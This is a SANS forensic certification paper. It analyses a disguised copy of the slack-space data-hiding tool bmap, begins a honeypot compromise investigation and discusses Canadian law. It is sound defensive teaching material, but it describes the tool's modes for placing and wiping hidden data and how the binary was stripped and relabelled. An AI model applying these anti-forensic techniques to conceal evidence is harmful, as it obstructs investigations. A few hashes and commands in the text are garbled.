Fight crime. 
Unravel incidents... one byte at a time.

Copyright SANS Institute
Author Retains Full Rights

This paper is from the SANS Computer Forensics and e-Discovery site. Reposting is not permitted without express written permission.

Interested in learning more?
Check out the list of upcoming events offering "Advanced Incident Response, Threat Hunting, and Digital Forensics (FOR508) at http://digital-forensics.sans.orghttp://digital-forensics.sans.org/events/
GCFA Practical Assignment

GCFA - Practical Assignment
A Linux 7.3 Compromise

Abstract: This is a three part paper. The first part is an analysis of a floppy with an unknown program provided by GIAC. The second is a forensic analysis of a compromised Linux RedHat 7.3 system and the final section answers legal questions provided by GIAC using Canadian laws.

Date: November 21, 2003
Author: Kevin Miller
Version: 1.4
Table of Contents

TABLE OF CONTENTS .................................................................................................................. 2

1. ANALYSIS OF AN UNKNOWN BINARY .................................................................................. 4
   1.1. Binary Details .................................................................................................................. 4
   1.2. Program Description ...................................................................................................... 10
   1.3. Forensic Details ............................................................................................................. 17
   1.4. Program Identification .................................................................................................... 18
   1.5. Legal Implications .......................................................................................................... 20
   1.6. Interview Questions ....................................................................................................... 22
   1.7. Case Information ........................................................................................................... 23
   1.8. Additional Information ................................................................................................. 25

2. FORENSIC ANALYSIS - REDHAT 7.3 SYSTEM ................................................................. 26
   2.1. Synopsis of Case Facts .................................................................................................. 26
   2.2. System Description ....................................................................................................... 27
   2.3. Hardware Description .................................................................................................... 28
   2.4. Media Image .................................................................................................................. 29
   2.5. Media Analysis ............................................................................................................. 32
   2.6. Timeline Analysis ......................................................................................................... 46
   2.7. Recover Deleted Files .................................................................................................... 50
   2.8. String Search ............................................................................................................... 52
   2.9. Conclusions .................................................................................................................. 54

3. LEGAL ISSUES OF INCIDENT HANDLING ..................................................................... 55
   3.1. Questions: ...................................................................................................................... 55

APPENDICES .............................................................................................................................. 61

APPENDIX A ............................................................................................................................... 61
   Prog file strings listing ......................................................................................................... 61

APPENDIX B ............................................................................................................................... 91
   Bnap-1.0.20.tar.gz file list .................................................................................................... 91

APPENDIX C ............................................................................................................................... 94
   Some Company – Acceptable Use Policy ........................................................................... 94

APPENDIX D ............................................................................................................................... 97
   Live Response Review ......................................................................................................... 97

Live response File listings ......................................................................................................... 106
   starttime.txt ...................................................................................................................... 106
   w.txt ................................................................................................................................. 106
   netsat-sockets.txt .............................................................................................................. 106
   lsol.txt ............................................................................................................................. 108
   ps.txt ............................................................................................................................... 108
   lsmode.txt ....................................................................................................................... 171
   netstat-routes.txt ........................................................................................................... 173
   ifconfig.txt ..................................................................................................................... 174
   Proc-filesystem.txt .......................................................................................................... 174
   stoptime.txt ..................................................................................................................... 177
Document Conventions:

The Arial 12 point font is the standard font used.

The Courier New 10 and 12 point fonts are used for:

- Commands that were run
- Results from the running of different commands, logs etc.

**Bold text** within screen shots and text boxes added by author.
1. Analysis of an Unknown Binary

1.1. Binary Details

The objective is to identify the purpose of an unknown binary named ‘prog’ from a compressed floppy image obtained from GIAC. The file binary_v1.4.zip was downloaded from the SANS- GIAC website on Oct 14, 2003 at 10:19:00 CST. The examiner was Kevin Miller. The system used for the analysis was an IBM Thinkpad A31, with 1GB RAM, 60GB hard drive. The evaluation was performed using EnCase v4.14 and two VMWare workstations in a host only environment. The VMWare workstations used for the evaluation were Redhat 7.3.

Below is the evidence information provided by GIAC with the floppy:

- Tag# fl-160703-jp1
- 3.5 inch TDK floppy disk
- MD5: 4b680767a2aed974cec5fbcf84cc97a
- fl-160703-jp1.dd.gz

The MD5 checksum from the file fl-160703-jp1.dd.gz was verified to ensure the MD5 checksum matched the tag information obtained from GIAC, see Figure 1. Winzip was used to uncompress the file and another md5checksum was done on the uncompressed file also shown in Figure 1, MD5 hashes from floppy.

![Figure 1, MD5 hashes from floppy](image-url)
The floppy image was uncompressed, previewed then acquired with EnCase v4.14. The MD5 hash obtained from the uncompressed image file was compared to the MD5 hash calculated during the EnCase acquire. Both the MD5 Acquisition and Verify hashes matched the MD5 checksum from the uncompressed image file. The screen shot in Figure 2 shows the acquisition date and time, Acquisition Hash and Verification Hashes. For clarity the information from Figure 2 is reprinted below.

![Figure 2. EnCase Report Screen shot - MD5 Verification](image-url)
Using EnCase the file ‘prog’ was checked and the report tab was selected in the detail pane to obtain the File and MACTime information, file permissions and MD5 hash of the file.

![EnCase screen shot of file information for ‘prog’](image)

The following information is provided by the EnCase report tab:

- The file atime is 07/16/03 12:12:45am
- The file ctime is 07/14/03 08:24:00am
- The file mtime is 07/16/03 12:05:33am
- File owner 502
- Group owner 502
- File size 487476
Using EnCase the 'prog' file was exported (see Figure 4) and transferred to the VMware Linux 7.3 machine. The file was verified with md5sum in Figure 5. The file byte count matched the logical byte count from EnCase of 487476.

![Figure 4. EnCase export of prog file.](image)

The 'prog' MD5 sum matches both MD5 checksums from EnCase and the VMware workstation.

```
Output from prog.md5 => 7b80d9aff486c6aa6aa3efa63cc56880 prog
```
The file command was run to determine the file type. Lines of special interest were:
- ELF executable – the kernel recognizes the file a unix executable.
- statically linked – the library files required for execution are included when the file is compiled. The file is independent of the library files on the machine it is run on.
- Stripped – the symbols have been removed from the file. This keeps the file size smaller and does not allow for easy identification.1

The strings command was run to list out printable characters from the prog file. The complete strings output is listed in Appendix A. The lines from the strings output that were used for further investigation are shown below:

```
mft_getopt
.
.
flag-
flagized option invokation
examining an enum!
matched against an enum val
examining a venum!
matched against an venum val
.
.
flag listItem
.
.
display fragmentation information for the file
frag
wipe the file from the raw device
.
.
autogenerate document ...
1.0.20 (07/15/03)
newt
use block-list knowledge to perform special operations on files
prog
main
off_t too small!
07/15/03
invalid option: %s
.
.
unable to raw open %s
Unable to determine count
Unable to allocate buffer
%s has holes in excess of %ld bytes...
error mapping block %d (%s)
null block while mapping block %d.
.
.
```

1 Linux RedHat 7.3 “Man page for ‘file’ (man file)”, ver 3.37 of file - gcc binutils.
The bolded lines above were searched using www.google.com. The string that provided the first solid lead was:

“use block-list knowledge to perform special operations on files”.
The google search led to http://old.lwn.net/2000/0413/announce.php3, a website that had the full search string text listed on it. The link on this page identified the program as bmap. The bmap references, (bolded and underlined above) provided further confirmation of the identity of the ‘prog’ file as the program ‘bmap’. The line:

```
1.0.20 (07/15/03)
```

indicated the bmap version as 1.0.20 and the date the file was compiled as (07/15/03).

### 1.2. Program Description

To determine the type of program the ‘prog’ file was, the command ‘file prog’ was used. The ‘file’ command displays the signature of a file. The output of the ‘file prog’ command showed the program to be an:

```
ELF 32-bit LSB executable for the Intel 80386 platform
```

As indicated in section 1.1 the strings search on google showed the file to be a program called “bmap”. The details from [http://old.lwn.net/2000/0413/announce.php3](http://old.lwn.net/2000/0413/announce.php3) state the program is used to “perform special operations on files”.

What is the file used for? From the comments taken from strings analysis we can restate it as “the prog file – use(s) block-list knowledge to perform special operations on files”. The bmap program is referred to as a data hiding tool.

The last time the ‘prog’ file was used is indicated by the atime, 07/16/03 12:12:45am from the EnCase report. The MACtimes are:

- last access time (atime) of this program was 07/16/03 12:12:45am
- last modified time (mtime) of the program was 07/16/03 12:05:33am.
- last change time (ctime) of the program was 07/14/03 08:24:00am

### Step-by-Step Analysis

An isolated VMWare lab environment was used to analyze and run the file prog. The lab environment consisted of:

- Linux Redhat 7.3 VMWare workstation 1, (hereafter referred to as Redhat1), was setup as a network sniffer with an IP address of 192.168.75.131. Snort (v1.9) was used on the first Linux 7.3 VMWare workstation to monitor network traffic.
The command for running snort was “snort –vd”.

- Linux Redhat 7.3 VMWare workstation 2, (hereafter referred to as Redhat2), was setup to run the program with an IP address of 192.168.75.132. The program gdb (v5.1.90CVS-5) and strace were used to analyze the ‘prog’ file. Aide (v0.9) was installed and run on all files. Aide (Advance Intrusion Detection Environment) was configured to do an MD5 checksum of the file system. To allow for a known state and repeated execution of the prog file the VMWare workstation was configured an “undoable”. A unix live response consisting of the following commands: date, w, lsof, ps, netstat, lsmmod and ls was run before and after executing the ‘prog’ file.

The following outlines the forensic analysis method used. The method used followed the methodology from the Sans Course “Reverse-Engineering Malware: Tools and Techniques Hands-on” course.

1) On Redhat2 workstation ‘md5sum’ was used to verify the file integrity (see Figure 5). The command ‘ll’ was used to obtain the byte size of the program. The command ‘file prog’ was run to identify the file type. From the ‘file prog’ command we know that:
   a) The file has been statically compiled. This means the library files are part of the file. This ensures the library files required to run the ‘prog’ program are available) and
   b) The file has been stripped. This means the symbols and file comments, that can provide clues on how the program works, have been removed.

2) On Redhat2 the strings command was used to dump the strings from the file (see Appendix A). The strings were analyzed and the program was identified as bmap. The ld command provided no reference library information due to the stripping of the prog file.

The reference site for bmap was found and investigated further. The link provided the site ftp://ftp.scylld.com/pub/forensic_computing/bmap/. The source for version 1.0.20 was downloaded.

3) The following was done on the Redhat2. Aide 0.9 was run to create the initial MD5 checksum of files on the system. The Live response kit was run to record the status of the system. On Redhat2 the command ‘snort –dv’ was run to record any network traffic. A comparison of the MD5 checksums from before and after runnings of the ‘prog’ file is shown below.
The differences were identified and explained by different date and time stamps and expected changes between running processes.

The output from running the prog file was “no filename. Try ‘--help’ for help”. Analysis of snort output on Redhat2 showed no network traffic.

4) To ensure the environment was clean the VMWare environment was restarted without saving the previous session. The source code for bmap version 1.0.20 was unpacked. The bmap Makefile was modified to statically link libraries. The --static switch was added to the LDFLAGS line. The LDFLAGS line was now:

```
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The bmap file was stripped using the strip command:

```
strip bmap
```

The ‘bmap’ file was compared with the ‘prog’ file using “md5sum”, “file” and “ll” output. The output screen is shown in Figure 7. The MD5 checksum did not match the MD5 checksum of the ‘prog’ file. The ‘file’ command output and byte count matched.
The ‘prog’ file and the newly compiled ‘bmap’ file were run with the –help switch. The output from both is shown:

```
[root@localhost bin1.4]# ./prog --help
prog 1.0.20 (07/15/03) new
Usage: prog [OPTION]... [<target-filename>]
use block-list knowledge to perform special operations on files

--doc VALUE
  where VALUE is one of:
  version display version and exit
  help display options and exit
  man generate man page and exit
  sgml generate SGML invocation info

--mode VALUE
  where VALUE is one of:
  m list sector numbers
  c extract a copy from the raw device
  s display data
  p place data
  w wipe
  chk test (returns 0 if exist)
  sb print number of bytes available
  wipe wipe the file from the raw device
  frag display fragmentation information for the file
  checkfrag test for fragmentation (returns 0 if file is fragmented)

--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
```
The omitted pieces of the 'bmap --help' output are shown in bold red in the output above. A comparison of the strings output from 'prog' and 'bmap' showed the modifications to the help strings for the prog file. The references that were "left out" point to the purpose of the program. The strings searches were analyzed and word references were extracted to two files. The files were compared using excel. The words in the bmap strings output that are not found in the "prog" strings output are shown in bold red and the changed references are shown in bold blue in Table 1.

<table>
<thead>
<tr>
<th>Bmap strings output</th>
<th>Prog strings output</th>
</tr>
</thead>
<tbody>
<tr>
<td>wipe the file from the raw device</td>
<td>wipe the file from the raw device</td>
</tr>
<tr>
<td>print number of slack bytes available</td>
<td>print number of bytes available</td>
</tr>
</tbody>
</table>
### Table 1 String comparison - prog and bmap files

The bmap.c file was modified to replicate the prog file as follows:

- Removed 2 lines shown below that referenced "wipe, wipe slack"
  
  ```c
  {"wipeslack","wipe slack",
   0,MO_INT_CAST(BMAP_WIPESLACK)},
  ```

- Changed from "map" to "m".
- Changed from "carve" to "c".
- Changed from "slack" to "s" and removed "slack space" from line.
- Changed from "putslack" to "p" and removed "into slack" from line.
- Changed "checkslack" to "chk", remove "for slack" and changed "file has slack" to "exist".
- Changed "slackbytes" to "sb" and removed "slack" from line.
• Seached on “bmap” and changed to “prog”
• Changed author in Make file from “newt@scyld.com” to “newt”
• Added -static to LD_FLAGS on line 30 in Makefile.
• Changed date to Jul 15, 2003

The objective was to see if the MD5 checksum could be replicated identically. The md5sum did not match, the bmap MD5 was “bcade02b97d17f20f0937df10511fcf8”. This is attributed to not having the compile options and specifics on the versions of library files used to compile the prog executable.

The strace program was used to follow the interaction between the ‘prog’ and ‘bmap’ files and the operating system. The strace output from both “prog -help” and “bmap -help” are shown below. Note: No differences were found.

```
# bmap.strace3
::: ::::: :::::

5902 [????????] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [420b542b] geteuid32() = 0
5902 [420b4c6a] execve("./bmap", ["./bmap"], [/* 19 vars */]) = 0
5902 [080552ee] fcntl164(0, F_GETFD) = 0
5902 [080552ee] fcntl164(1, F_GETFD) = 0
5902 [080552ee] fcntl164(2, F_GETFD) = 0
5902 [0806f9bd] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5902 [0806fa0] geteuid32() = 0
5902 [0806fa34] getuid32() = 0
5902 [0806fb78] getegid32() = 0
5902 [0806fb0c] getgid32() = 0
5902 [08070085] brk(0) = 0x80bedec
5902 [08070085] brk(0x80bee0c) = 0x80bee0c
5902 [08070085] brk(0x80be000) = 0x80be000
5902 [08070085] brk(0x80c0000) = 0x80c0000
5902 [080550e4] write(2, "no filename. try '\"--help\' for he...", 36) = 36
5902 [08054cbd] _exit(2) = ?
```

```
# prog.strace3
::: ::::: :::::

5904 [????????] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [420b542b] geteuid32() = 0
5904 [420b4c6a] execve("./prog", ["./prog"], [/* 19 vars */]) = 0
5904 [0805531e] fcntl164(0, F_GETFD) = 0
5904 [0805531e] fcntl164(1, F_GETFD) = 0
5904 [0805531e] fcntl164(2, F_GETFD) = 0
5904 [0806f9ed] uname({sys="Linux", node="localhost.localdomain", ...}) = 0
5904 [0806fa0] geteuid32() = 0
5904 [0806fa34] getuid32() = 0
5904 [0806fb78] getegid32() = 0
5904 [0806fb0c] getgid32() = 0
5904 [08070085] brk(0) = 0x80bedec
5904 [08070085] brk(0x80bee0c) = 0x80bee0c
5904 [0806fa64] geteuid32() = 0
5904 [0806fa34] getuid32() = 0
5904 [0806fb78] getegid32() = 0
5904 [0806fb0c] getgid32() = 0
5904 [08070085] brk(0) = 0x80bedec
```

1.3. Forensic Details

When a program is installed on a system its MD5 checksum can be calculated and used as search criteria. Other program identifiers, such as the strings output in Section 1.1 above, can be used for keyword searches of the slack space and deleted files.

The “prog” file was statically linked as seen in the file output shown in Figure 5. Being statically linked meant all functions required for program execution are compiled as part of the binary. The execution of ‘prog’ did not rely on specific libraries being present on the system. Based on the ‘bmap’ and ‘prog’ analysis the program allows for the hiding of files in the slack space of other files. The key leads from the string search were:

```
1.0.20 (07/15/03)
   newt
   use block-list knowledge to perform special operations on files
     .
     .
     bmap_get_block_size
     bmap_map_block
     .
     bmap_raw_open
     .
     .
     bmap_raw_close
     .
```

The forensic details uncovered in step-by-step analysis in section 1.2 provided direction for further investigation. No network traffic was seen with “snort –dv” when the ‘prog’ file was executed. The strace comparisons, aide file system checksum comparisons and live response analysis done in section 1.2 proved the ‘prog’ file to be identical to the ‘bmap’ program with explainable differences to account for the MD5 checksum and strings output differences.

Investigation focused on the floppy disk. The purpose was to see if any data had been hidden in the slack space of the files on the floppy.

Using EnCase the Floppy dd image was restored to a floppy and mounted as read-only in the Redhat1 VMWare workstation. The bmap program was run on files using the –slack switch. The /Docs/Sound-HOWTO.html.tar.gz file had data in the slack space. Below are the commands run to extract the data from the slack space:

```
[root@localhost bin1.4]# ./bmap –slack /mnt/floppy/Docs/Sound-HOWTO-html.tar.gz > Sound-slack.out
getting from block 190
```
file size was: 26843
slack size: 805
block size: 1024

[root@localhost bin1.4]# file Sound-slack.out

[root@localhost bin1.4]# zcat Sound-slack.out

Ripped MP3s - latest releases:
www.fileshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***

[root@localhost bin1.4]#

The strings output was used to locate the source code for the “prog” program. The leads from the slack space information above would be used to investigate the allegations against Mr. Price.

1.4. Program Identification

The source for bmap-1.0.20 was located at ftp://ftp.scyld.com/pub/forensic_computing/bmap/. The search to locate the site was based on string searches from the binary. See section 1.1 for details on the strings search used. The program ‘bmap’ is used for hiding data in slack space. The source code was obtained and the bmap.c file was edited as indicated in section 1.2. See Appendix B for a listing of the files from the bmap-1.0.20.tar.gz.

As seen in the section of Makefile below the switch “-static” was added.

```
BOGUS_MAJOR = 123
BOGUS_MINOR = 123
BOGUS_FILENAME = "/.../image"

CFLAGS = -Wall -g
CPPFLAGS = -I$(MFT_INCLUDE_DIR) -Iinclude
LDFLAGS = -L$(MFT_LIB_DIR) -lmft -static
```

The compile of the “bmap” executable was done by typing “make” in the bmap-1.0.20 directory. To strip the file the command used was “strip bmap”. An MD5 comparison of
the file showed it to be different from the “prog” file. String comparisons were done and can be seen in Table 1 on page 15. The bmap.c file and Makefile were modified according to section 1.3 and bmap was recompiled using make. The MD5 output still didn’t match the “prog” file. The byte count was the same and the strings output between the two files showed

```
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 611550 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# strip bmap
[root@localhost bmap-1.0.20-modified]# ll bmap
-rwxr-xr-x 1 root root 487476 Jul 15 13:53 bmap
[root@localhost bmap-1.0.20-modified]# md5sum bmap
92860c2996dca14ac353e9765cbb91b2  bmap
[root@localhost bmap-1.0.20-modified]# ll ../prog
-rwxr--r-- 1 root wheel 487476 Oct 16 2003 ../prog
[root@localhost bmap-1.0.20-modified]# md5sum ../prog
7b80d9aff486c6aa6aa3e6a63cc56680  ../prog
```

Section 1.2 shows the straces of the two programs with no differences. The conclusion drawn is the “prog” file is different from the “bmap” due to specific changes made to hide the purpose of the file by the individual who compiled the program. Some of the reasons for the difference could be version differences in library file, version differences in the compiler. The GCC compiler used in the VMWare workstation was 2.96 20000731. A search of the unallocated cluster with EnCase is shown in Figure 8.

![EnCase Forensic Edition](image_url)

Figure 8. GCC version information located in Unallocated Clusters
The gcc version indicated was 3.2.2 20030222, this can account for the differences in the bmap and prog MD5 checksums.

### 1.5. Legal Implications

An image of the prog file was found in the unallocated clusters on the floppy disk. With the evidence from the slack space area of the Sound-HOWTO-html.tar.gz file we know the “prog” program was used to hide information. The information from the slack space can lead to potential violation of the Criminal Code of Canada, Part IX, Section 342.1 and Part XI, Section 430. The renaming of bmap and the alteration of the output help commands, statically linking the file and stripping it, demonstrates a desire to hide intentions. We know the “prog” file has been used to hide web addresses for ripped MP3 files. Assuming other evidence proves violation of the Copyright Act of Canada then additional charges and civil action can be taken.

If the servers were not located in Canada then it would not be a violation of Canadian law. If the servers are within the United States then the information would be passed on to U.S. authorities.

Assuming the MP3 files are on servers that are located in Canada, then unauthorized access laws could be applied. One of the Canadian laws that would be violated is the Criminal Code of Canada, Part IX – Offences Against Rights of Property S.342.1 (1) (a)-(d).

![342.1](http://laws.justice.gc.ca/en/C-46/41491.html)

---

The mischief law may also be applied, under the Criminal Code of Canada, Part XI – Willful and Forbidden Acts in Respect of Certain Property. Section 428 defines property and Section 430 (1) (a)-(d) and (1.1) (a)-(d) defines Mischief:

**Definition of “property”**

428. In this Part, “property” means real or personal corporeal property.

**Mischief**

430. (1) Every one commits mischief who willfully

(a) destroys or damages property;

(b) renders property dangerous, useless, inoperative or ineffective;

(c) obstructs, interrupts or interferes with the lawful use, enjoyment or operation of property; or

(d) obstructs, interrupts or interferes with any person in the lawful use, enjoyment or operation of property.

**Mischief in relation to data**

(1.1) Every one commits mischief who willfully

(a) destroys or alters data;

(b) renders data meaningless, useless or ineffective;

(c) obstructs, interrupts or interferes with the lawful use of data; or

(d) obstructs, interrupts or interferes with any person in the lawful use of data or denies access to data to any person who is entitled to access thereto.

(5) Every one who commits mischief in relation to data

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) is guilty of an offence punishable on summary conviction.

(5.1) Every one who willfully does an act or willfully omits to do an act that it is his duty to do, if that act or omission is likely to constitute mischief causing actual danger to life, or to constitute mischief in relation to property or data,

(a) is guilty of an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) is guilty of an offence punishable on summary conviction.  

---

The Acceptable use policy from “SANS – Acceptable use policy template” was used as Some Company’s policy. Section 4.3 “Unacceptable Use” outlines prohibited activities, we find the following

1. Violations of the rights of any person or company protected by copyright, trade secret, patent or other intellectual property, or similar laws or regulations, including, but not limited to, the installation or distribution of “pirated” or other software products that are not appropriately licensed for use by Some Company.

2. Unauthorized copying of copyrighted material including, but not limited to, digitization and distribution of photographs from magazines, books or other copyrighted sources, copyrighted music, and the installation of any copyrighted software for which Some Company or the end user does not have an active license is strictly prohibited.

The “prog” program has been used to hide data relating to the alleged distribution of copyrighted material. According to Section 5.0 of the policy “violating the policy can subject the employee to disciplinary action, up to and including termination of employment”.

### 1.6. Interview Questions

The questions I would use to help prove a subject was the one who installed and executed the “prog” file are below:

Hi, I’m Kevin, I have a few questions for you:

1) Can you tell me when you were on holidays this year?

2) You were at work on “July 18, 2003”?

The reason for questions one and two is to establish that the suspect was at work during the time the program was installed and executed.

3) What is your background with computers?

The reason for question three is to determine the level of experience the suspect has with computers.

4) Does everyone use their own login ID’s in the area?
   What logon ID do you use?
   Are there any other logon IDs that you use?

The reason for asking these questions is gather the various user IDs the suspect uses. This information will assist the investigators when analyzing log evidence and ownership.
of files.

5) What workstations do you use?
   Do you access any servers for your work function?

Knowing what workstation and servers the suspect admits to having access to can help in gathering other evidence. Verification may be available through network event logging and / or other co-worker corroboration.

6) I see you have extensive computer experience. We’ve found a program called ‘prog’ on the floppy disk in your office. Can you tell me the purpose of this program?

The suspect has an opportunity to provide an explanation for the program and its intended purpose.

7) Can you tell me the last time you used the ‘prog’ program and what you used it for?

Question seven hits the suspect head on, he is given an opportunity to give his side of the story.

1.7. Case Information

To assist System Administrators in detecting the use of the “prog” file or files with hidden slack space data, a sweep of servers the suspect had, or could have had access to would be conducted. The sweep would start with a basic find sweep for the “prog” file, starting with accounts the suspect used. The next step for System Administrator would be to use the bmap tool and locate files with data in slack space. The command to use would be:

   # find / -name /* -type f -exec bmap -checkslack {} 

The command will start at root (/) looking for all (-name ") files (-type f) and run “bmap – checkslack” on the file and print this out. As seen in Figure 9:
Figure 9 shows the file Sound-HOWTO-html.tar.gz with “slack”. To extract the slack data the command was run:

```
bmap -slack /mnt/floppy/Sound-HOWTO-html.tar.gz > Sound-slack.out
```

The file command was run on “file Sound-slack.out”. The result showed the file as a gzip file. The program zcat was used to parse the file “zcat Sound-slack.out”. The output is reprinted below. (refer to section 1.3 for the actual session outputs.)

```
[root@localhost bin1.4]# zcat Sound-slack.out
Ripped MP3s - latest releases:
www.filesshares.org/
www.convenience-city.net/main/pub/index.htm
emmpeethrees.com/hidden/index.htm
ripped.net/down/secret.htm

***NOT FOR DISTRIBUTION***
```

Other pieces of evidence are taken from the time line of the files on the disk and the letter to Mike. The time line shows the Sound-HOWTO-html.tar.gz document last written (ctime) and last accessed (atime) as 08:11:50am. The nc-1.10.16.i386.rpm..rpm file is accessed next with a ctime and atime of 08:12:15am, and ebay300.jpg is accessed with ctime and atime of 08:12:48am. The letter to Mike (Mkemsg.doc) has ctime, atime and mtime of 08:48:15am. The content in the letter was:

```
Hey Mike,
I received the latest batch of files last night and I’m ready to rock-n-roll (ha-ha).
```
I have some advance orders for the next run. Call me soon.

JP

With the evidence from the slack data, the time line and the letter to Mike, we can proceed to the web servers for further investigation and evidence gathering.

### 1.8. Additional Information

Linux Data Hiding and Recovery Article -  


2. Forensic Analysis - RedHat 7.3 system

2.1. Synopsis of Case Facts

The honeynet was put into service on June 27, 2003. The honeynet (see Figure 10) consisted of:

- 1 firewall configured with external, private and demilitarized zone (DMZ) network interfaces.
- 1 default server install of Linux 7.3 running an Apache web server.
- 1 default server install of Windows 2000 running and IIS web server.
- 1 sebek (v.2.0.1) host running on Linux 7.3 with 2 network interfaces.
- 1 snort (v.2.0.0) host running on FreeBSD (v4.7) with 2 network interfaces.
- 1 Linux 8.0 server setup as a central log host with one network interface.

On the afternoon of June 29, 2003 logging events from the network IDS and firewall alerted honeynet staff to scanning activity originating from the Linux 7.3 honeypot system. The firewall rules were modified to deny traffic to and from the system.

On June 30, 2003 at 5:18 pm a live response procedure was run on the Linux 7.3 computer and at 5:31 pm the power cord to the box was unplugged. The hard drive was removed and an image of the hard drive was made using a FastBloc device and EnCase v4.14 software.

The log files from the snort host and sebek host were obtained. Delays in securing the log evidence from the log server required a dd image be taken of the log partition for forensic recovery and analysis. Md5 checksums were done for all logging evidence and burned to CD.

NTP synchronization problems required time synchronization adjustments for evidence gathered. The analysis is described below.
2.2. System Description

The hardware of the Linux 7.3 honeypot machine was:

- Compaq Deskpro Pentium II 400 Mhz
- 128MB of RAM
- 1 - 6.4GB IDE harddrive
- 1 – CDROM IDE
- 1 – 10/100 onboard Ethernet adapter
- 1 – 3.5” floppy drive

The Redhat Linux 7.3 honeypot system installation included the WWW (Apache) server and the sebek\textsuperscript{5} kernel module. The kernel module was configured to hide traffic dumped on the wire from any sniffers installed on the victim machine. The sebek2 logging traffic was dumped to ip address 0.0.0.0 to log keystrokes from the server. The network configuration is shown in Figure 10.

The snort (v2.0.0) host was configured to provide network intrusion detection, alerting and tcpdump binary packet capture. This operating system had FreeBSD 4.7 as the operating system.

The sebeksniff host was configured to sniff for UDP packets on port 1101. The sebeksniff system had Linux 7.3 as the operating system.

The log server was configured to accepting logging from the firewall and the honey pot systems. The operating system on the log server was Linux 8.0.

\textsuperscript{5} Honeynet Project, http://www.honeynet.org/tools/sebek/
2.3. Hardware Description

The following is a list of evidence items:

<table>
<thead>
<tr>
<th>Tag #</th>
<th>Description</th>
</tr>
</thead>
</table>
| Tag # 01 | Western Digital AC26400-60RTT0  
           Hard Drive, Serial #: WM627 232 5552, Size: 6448.6 MB |
| Tag # 02 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A085 |
| Tag # 03 | Western Digital AC26400-60RTT0  
           Hard Drive, Serial #: WM627 232 3421, Size: 6448.6 MB |
| Tag # 04 | Compaq Deskpro, 400/100 MHz, Serial #: 6919BW42A129 |
| Tag # 05 | CDROM labeled “Casefile 10/10/03 logs” with initials FT |
Tag # 01 came from the Linux 7.3 honeypot computer identified in Tag # 02 and Tag # 03 was taken from the log server system identified in Tag #04. Both systems were identical Compaq Deskpro P400s with an internal hard drive, 128MB of RAM, internal 3.5" high density floppy drive and sound card. Tag items # 01 through Tag # 04 were seized from Some Company located in the computer room on the third floor at 123 Anywhere Street, Anytown, Manitoba, Canada.

The CDROM, Tag # 05, contained the log files from the sebeksniff host, logs from the snort v2 host, the var partition dd image from the logserver (Tag #03), the live response files from the linux 7.3 host and the MD5 checksum files for each file on the CDROM.

2.4. Media Image

The hard drive listed as Tag # 01 was connected to the FastBloc device. The device used is a FastBloc “Classic” from Guidance Software (www.guidancesoftware.com). FastBloc is a hardware write-blocked device. The FastBloc device was connected to a PCMCIA SCSI card installed in a ThinkPad model A31 laptop running EnCase v4.14, as shown in Figure 11. The EnCase software was used to acquire an EnCase image evidence file of the drive. During the preview and acquisition phases the EnCase software provides a verification checkbox that the device being viewed or acquired is write protected. The write protection ensures the evidence is not changed or modified.

![Figure 11. FastBloc - drive image Tag #01](image-url)
The MD5 hash was calculated during the preview of Tag #02 using EnCase. The preview MD5 checksum is shown in Figure 12.

![Hashing](image)

Figure 12. Preview MD5 Hash of Linux 7.3 honeypot system

The check box to “Search, Hash and Signature Analysis” was selected. This box ensures the image file is added to the case, performs an MD5 hash on all files on the drive and does a signature analysis.

![After Acquisition](image)

Figure 13. Initial search, MD5 of files and Signature analysis.
Figure 14. Acquire completed with MD5 hash

To ensure the MD5 checksum from the preview was identical to the acquired evidence file another MD5 hash was done. The resulting hash is shown in Figure 15. We have verified the acquisition evidence file and the preview MD5 checksum are identical. The MD5 hash value can be recalculated any time during the analysis to verify the integrity of the evidence, see Figure 15.

Figure 15. MD5 verification Hash.

Files on the CDROM, Tag item # 05, included an MD5 hash file. Below is the file listing:

<table>
<thead>
<tr>
<th>File Name</th>
<th>MD5 Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>liveresponse.tar</td>
<td>994b0c3b8e91d10087fa085f9586f4de</td>
</tr>
<tr>
<td>sebek.out</td>
<td>82b86c939e8347c71e25655530566dc7</td>
</tr>
<tr>
<td>snortfiles.tar</td>
<td>66130385e828dbb5218a492d6f1df6a1</td>
</tr>
<tr>
<td>varddimage.gz</td>
<td>d073eb91e149936a313f907cd3c9a3ac</td>
</tr>
</tbody>
</table>
Using md5sum.exe from http://www.etree.org/md5com.html, the file checksums were verified. The output is shown below:

```
D:\>md5sum *
994b0c3b8e91d10087fa085f9586f4de *liveresponse.tar
82b86c939e8347c71e25655530566dc7 *sebek.out
66130385e828dbb5218a492d6f1df6a1 *snortfiles.tar
d073eb91e149936a313f907cd3c9a3ac *varddimage.gz
```

2.5. Media Analysis

The system used to analyze the evidence was an IBM ThinkPad model A31 with a 1.8Ghz processor, 1.0GB of RAM. There were two sixty GigaByte Travelstar hard drives, a removable Matsushita UJDA720 DVD/CDRW. The Forensic analysis software used to examine Tag #01 and Tag #03 and Tag #05 was EnCase (V4.14) from Guidance Software, a forensic tool of choice in our workplace.

Below is a list of all of the tools used during the analysis;

1. EnCase is popular with law enforcement and private industry providing powerful forensic capabilities. www.guidancesoftware.com

2. mac_robber is a computer forensic tool for unix. It collects MAC (modified, access and change) times of files. www.stake.com/research/tools/forensic

3. The live response kit consisted of the following Linux binaries:

   a. ‘nc’ (netcat) used to send data streams from the victim machine to the forensic workstation.
   b. ‘date’ used to record the start time and stop time of the response.
   c. ‘w’ used to identify who is currently logged in.
   d. ‘netstat’ used to show the internet sockets that are open and to display the routing information.
   e. ‘lsof’ used to identify backdoors and network services.
   f. ‘ps’ used to show the processes in the process table.
   g. ‘ifconfig’ used to obtain the network configuration
   h. ‘ls’ used to list the /proc file system.
   i. ‘md5sum’ used to record MD5 checksums.

